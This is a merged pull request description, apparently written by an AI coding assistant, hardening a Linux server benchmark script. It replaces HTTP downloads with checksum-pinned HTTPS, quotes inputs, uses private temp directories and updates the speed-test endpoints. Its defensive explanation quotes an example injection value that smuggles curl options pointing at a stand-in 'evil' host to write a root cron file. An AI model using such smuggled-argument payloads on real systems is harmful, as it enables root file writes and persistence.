Harden bench, refresh endpoints, sysbench by default with optional Geekbench 7 #1

Merged
jacboy merged 12 commits from claude/lucid-planck-v4zwtb into master 2026-11-09 13:53:24 +00:00
jacboy commented 2026-11-09 11:52:26 +00:00 (Migrated from github.com)

Security hardening for bench, based on an audit of the script, plus fixes and improvements from testing on a fresh server. The base bench is identical upstream in iandk/sysperf, so this applies there unchanged.

What was wrong

# Severity Issue
1 Critical Geekbench was downloaded over plain HTTP and run as root with no integrity check. Anyone on the network path could get root code execution. A failed download also ran whatever stale binary was left in $HOME/geekbench.
2 High The public IP from icanhazip.com (plain HTTP) was expanded unquoted into curl http://ip-api.com/json/$as_check. A spoofed reply such as 1.2.3.4 -o /etc/cron.d/x http://evil/ injects curl options, so an attacker could write any file as root.
3 Medium The fio test file used a predictable $RANDOM_IOTEST name (32k possibilities) in the current directory. In a world-writable directory, a local user could plant symlinks and have root overwrite any file with 2 GB of data. rm *_IOTEST also deleted unrelated files.
4 Medium rm -rf geekbench/ deleted ./geekbench in the current directory, not $HOME/geekbench where the download actually went.
5 Medium ISP and ASN were printed with echo -e, so JSON \u001b escapes from the lookup became real terminal escape sequences.
6 Low Values were spliced into awk program text; root was required for everything; the Geekbench upload wasn't mentioned; read swallowed a byte of the script when run as wget … | bash.
— Functional 10 of 16 speed-test endpoints and all 5 latency targets (all Linode) were dead, and each dead host could block for minutes. ping wasn't checked for. Geekbench scores came out blank because the result page answers 403 to scripted requests.

Changes

Security

  • ISP/ASN lookup: a single HTTPS request to ipinfo.io/json (it looks up the caller's own address), so no response is ever put into a command line. Output is stripped of control characters and printed with printf %s. The provider changed from ip-api.com, whose free tier is HTTP-only.
  • IPv6 check: now uses https://ipv6.icanhazip.com.
  • Work files: a private mktemp -d directory (mode 0700) in the current directory, so the I/O test still measures that disk. It's removed by an EXIT trap, and only our own files are deleted.
  • awk: values are passed with awk -v.
  • Root: only needed when packages have to be installed (via apt-get). The confirmation is read from /dev/tty.

CPU benchmark

  • Default: sysbench from the distribution's own packages: single thread and all threads, 10 s each, reported in events per second. It's a ~1 MB download plus small libraries and uploads nothing. It's added to the dependency check and auto-install.
  • Geekbench 7.1.0 only on request with GEEKBENCH=7 (or 1), for x86_64 and ARM.
    • It's downloaded over HTTPS (--proto '=https') and checked against pinned SHA-256 checksums before extraction. Primate Labs doesn't publish checksums, so the pins are the tarballs their CDN served over HTTPS on 2026-11-09.
    • It needs ~1.5 GB free disk and is skipped with a message when there's less, when RAM is under 2 GB, or on an unsupported architecture.
    • Scores are read from Geekbench's own output, not scraped from the website.
  • Geekbench 6 was evaluated and dropped: its free version shows no scores locally, only after uploading, and the upload failed both on the test server and in a sandbox (unknown error (internal code 35)).

Network tests

  • Speed: 34 hosts from 8 providers, grouped by continent plus a global CDN row.
    • Europe: Leaseweb, Hetzner, BelWü, Init7, Scaleway, OVH, Vultr
    • North America: Leaseweb, Hetzner, Vultr
    • South America, Africa: Vultr
    • Asia: Vultr, Hetzner, Leaseweb
    • Oceania: Leaseweb, Vultr
    • Global CDN: CacheFly
  • Latency: 12 targets across all six inhabited continents.
  • Removed: all Linode and DigitalOcean hosts, TELE2, Combahton, speed.hetzner.de (dead). Cloudflare was left out because it answers 403 to scripted downloads; OVH outside Roubaix was left out because it redirects to an unknown location.
  • Measured with curl: the first 100 MB via a range request (so 1 GB test files work too), capped at 15 s per host and averaged over what arrived. A row needs HTTP 200/206 and more than 1 MB, otherwise it shows failed. curl falls back from dead IPv6 addresses quickly.
  • ping: retries over IPv4 when IPv6 gets no reply. iputils-ping is checked and installed.

UX

  • Progress spinner: shows the step name and elapsed seconds while long steps run. It's drawn on /dev/tty only, so | tee logs stay clean, and disabled when there's no terminal.
  • README: the git.io short link (the service is retired) is replaced by the direct raw GitHub URL, with a download-inspect-run alternative. It documents the CPU benchmark and GEEKBENCH=7, including that with the piped one-liner the variable goes before bash. The PayPal link now uses https.

Testing

Fresh Debian 13 server (dual-stack KVM, 2 vCPU, 4 GB), final version:

  • GEEKBENCH=7 run from a clean state: the missing sysbench was detected and installed. Every one of the 12 latency targets and 34 speed hosts returned a value. sysbench gave 610 single / 1230 multi, and Geekbench 7.1.0 gave 1290 single / 2363 multi, with the result link.
  • Default run: no Geekbench download, and all rows returned values. Seoul was 228 KB/s in this run and 10.3 MB/s in the previous one, which is variance at the remote host.
  • Earlier runs: found the dead endpoints and the hang, and confirmed the Geekbench 6 failure. Every endpoint was also checked individually with an HTTP range request and ping.

Sandbox (Ubuntu 24.04 container):

  • Security regression tests:
    • A tampered Geekbench tarball is never run.
    • A failed download doesn't fall back to an old binary.
    • A hostile ipinfo reply executes nothing.
    • A non-root user can't plant a symlink in the work directory.
    • Injected awk code is treated as data.
  • GEEKBENCH values: unset, 0, 1, 7, an unknown value and low disk space all behave as intended. The pinned checksums match the real tarballs.
  • Score parser: checked against Geekbench-style output, with an n/a fallback.
  • speed_test: a large file, a 404, a tiny file and an unreachable host, served locally.
  • Spinner: tested in a pseudo-terminal through tee, and without a terminal.

Follow-ups (not in this PR)

  • Disable the Geekbench upload when GEEKBENCH=7 is used (marked with a TODO in bench). The free CLI has no option for it: --help lists only --unlock, --cpu and --sysinfo, and Primate Labs requires Geekbench Pro for offline use. It would need a user-supplied Pro license. The default run uploads nothing.

🤖 Generated with Claude Code

https://claude.ai/code/session_01WFUVi2gu5nYSuZeyRWAGiM

Security hardening for `bench`, based on an audit of the script, plus fixes and improvements from testing on a fresh server. The base `bench` is identical upstream in `iandk/sysperf`, so this applies there unchanged. ## What was wrong | # | Severity | Issue | |---|---|---| | 1 | Critical | Geekbench was downloaded over **plain HTTP** and run as root with no integrity check. Anyone on the network path could get root code execution. A failed download also ran whatever stale binary was left in `$HOME/geekbench`. | | 2 | High | The public IP from `icanhazip.com` (plain HTTP) was expanded **unquoted** into `curl http://ip-api.com/json/$as_check`. A spoofed reply such as `1.2.3.4 -o /etc/cron.d/x http://evil/` injects curl options, so an attacker could write any file as root. | | 3 | Medium | The fio test file used a predictable `$RANDOM_IOTEST` name (32k possibilities) in the current directory. In a world-writable directory, a local user could plant symlinks and have root overwrite any file with 2 GB of data. `rm *_IOTEST` also deleted unrelated files. | | 4 | Medium | `rm -rf geekbench/` deleted `./geekbench` in the **current directory**, not `$HOME/geekbench` where the download actually went. | | 5 | Medium | ISP and ASN were printed with `echo -e`, so JSON `\u001b` escapes from the lookup became real terminal escape sequences. | | 6 | Low | Values were spliced into awk program text; root was required for everything; the Geekbench upload wasn't mentioned; `read` swallowed a byte of the script when run as `wget … \| bash`. | | — | Functional | 10 of 16 speed-test endpoints and all 5 latency targets (all Linode) were dead, and each dead host could block for minutes. `ping` wasn't checked for. Geekbench scores came out blank because the result page answers 403 to scripted requests. | ## Changes ### Security - **ISP/ASN lookup:** a single HTTPS request to `ipinfo.io/json` (it looks up the caller's own address), so no response is ever put into a command line. Output is stripped of control characters and printed with `printf %s`. **The provider changed** from ip-api.com, whose free tier is HTTP-only. - **IPv6 check:** now uses `https://ipv6.icanhazip.com`. - **Work files:** a private `mktemp -d` directory (mode 0700) in the current directory, so the I/O test still measures that disk. It's removed by an EXIT trap, and only our own files are deleted. - **awk:** values are passed with `awk -v`. - **Root:** only needed when packages have to be installed (via `apt-get`). The confirmation is read from `/dev/tty`. ### CPU benchmark - **Default: `sysbench`** from the distribution's own packages: single thread and all threads, 10 s each, reported in events per second. It's a ~1 MB download plus small libraries and uploads nothing. It's added to the dependency check and auto-install. - **Geekbench 7.1.0 only on request** with `GEEKBENCH=7` (or `1`), for x86_64 and ARM. - It's downloaded over HTTPS (`--proto '=https'`) and checked against pinned SHA-256 checksums before extraction. Primate Labs doesn't publish checksums, so the pins are the tarballs their CDN served over HTTPS on 2026-11-09. - It needs ~1.5 GB free disk and is skipped with a message when there's less, when RAM is under 2 GB, or on an unsupported architecture. - Scores are read from Geekbench's own output, not scraped from the website. - **Geekbench 6 was evaluated and dropped:** its free version shows no scores locally, only after uploading, and the upload failed both on the test server and in a sandbox (`unknown error (internal code 35)`). ### Network tests - **Speed:** 34 hosts from 8 providers, grouped by continent plus a global CDN row. - Europe: Leaseweb, Hetzner, BelWü, Init7, Scaleway, OVH, Vultr - North America: Leaseweb, Hetzner, Vultr - South America, Africa: Vultr - Asia: Vultr, Hetzner, Leaseweb - Oceania: Leaseweb, Vultr - Global CDN: CacheFly - **Latency:** 12 targets across all six inhabited continents. - **Removed:** all Linode and DigitalOcean hosts, TELE2, Combahton, `speed.hetzner.de` (dead). Cloudflare was left out because it answers 403 to scripted downloads; OVH outside Roubaix was left out because it redirects to an unknown location. - **Measured with `curl`:** the first 100 MB via a range request (so 1 GB test files work too), capped at 15 s per host and averaged over what arrived. A row needs HTTP 200/206 and more than 1 MB, otherwise it shows `failed`. `curl` falls back from dead IPv6 addresses quickly. - **`ping`:** retries over IPv4 when IPv6 gets no reply. `iputils-ping` is checked and installed. ### UX - **Progress spinner:** shows the step name and elapsed seconds while long steps run. It's drawn on `/dev/tty` only, so `| tee` logs stay clean, and disabled when there's no terminal. - **README:** the git.io short link (the service is retired) is replaced by the direct raw GitHub URL, with a download-inspect-run alternative. It documents the CPU benchmark and `GEEKBENCH=7`, including that with the piped one-liner the variable goes before `bash`. The PayPal link now uses https. ## Testing **Fresh Debian 13 server (dual-stack KVM, 2 vCPU, 4 GB), final version:** - **`GEEKBENCH=7` run from a clean state:** the missing `sysbench` was detected and installed. Every one of the 12 latency targets and 34 speed hosts returned a value. sysbench gave 610 single / 1230 multi, and Geekbench 7.1.0 gave 1290 single / 2363 multi, with the result link. - **Default run:** no Geekbench download, and all rows returned values. Seoul was 228 KB/s in this run and 10.3 MB/s in the previous one, which is variance at the remote host. - **Earlier runs:** found the dead endpoints and the hang, and confirmed the Geekbench 6 failure. Every endpoint was also checked individually with an HTTP range request and ping. **Sandbox (Ubuntu 24.04 container):** - **Security regression tests:** - A tampered Geekbench tarball is never run. - A failed download doesn't fall back to an old binary. - A hostile ipinfo reply executes nothing. - A non-root user can't plant a symlink in the work directory. - Injected awk code is treated as data. - **`GEEKBENCH` values:** unset, `0`, `1`, `7`, an unknown value and low disk space all behave as intended. The pinned checksums match the real tarballs. - **Score parser:** checked against Geekbench-style output, with an `n/a` fallback. - **`speed_test`:** a large file, a 404, a tiny file and an unreachable host, served locally. - **Spinner:** tested in a pseudo-terminal through `tee`, and without a terminal. ## Follow-ups (not in this PR) - **Disable the Geekbench upload** when `GEEKBENCH=7` is used (marked with a `TODO` in `bench`). The free CLI has no option for it: `--help` lists only `--unlock`, `--cpu` and `--sysinfo`, and Primate Labs requires Geekbench Pro for offline use. It would need a user-supplied Pro license. The default run uploads nothing. 🤖 Generated with [Claude Code](https://claude.com/claude-code) https://claude.ai/code/session_01WFUVi2gu5nYSuZeyRWAGiM
Sign in to join this conversation.
No description provided.